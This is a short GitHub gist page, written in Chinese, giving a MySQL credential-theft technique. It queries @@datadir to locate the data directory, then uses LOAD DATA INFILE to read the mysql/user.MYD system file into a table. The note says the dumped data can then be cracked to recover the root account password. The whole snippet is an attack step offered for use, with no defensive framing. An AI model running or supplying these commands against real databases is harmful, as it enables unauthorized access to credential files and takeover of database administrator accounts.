Skip to content

Instantly share code, notes, and snippets.

@wh1t3p1g
Created August 2, 2016 02:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wh1t3p1g/c071c839352c61677774bd1b64fb4c3d to your computer and use it in GitHub Desktop.
Save wh1t3p1g/c071c839352c61677774bd1b64fb4c3d to your computer and use it in GitHub Desktop.
通过select @@datadir;获得数据存储的路径path
LOAD DATA INFILE 'path/mysql/user.MYD' INTO TABLE sometable fields terminated by '' LINES TERMINATED BY '\0'
然后查看sometable里的数据,解密就可以获得root账户的密码
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment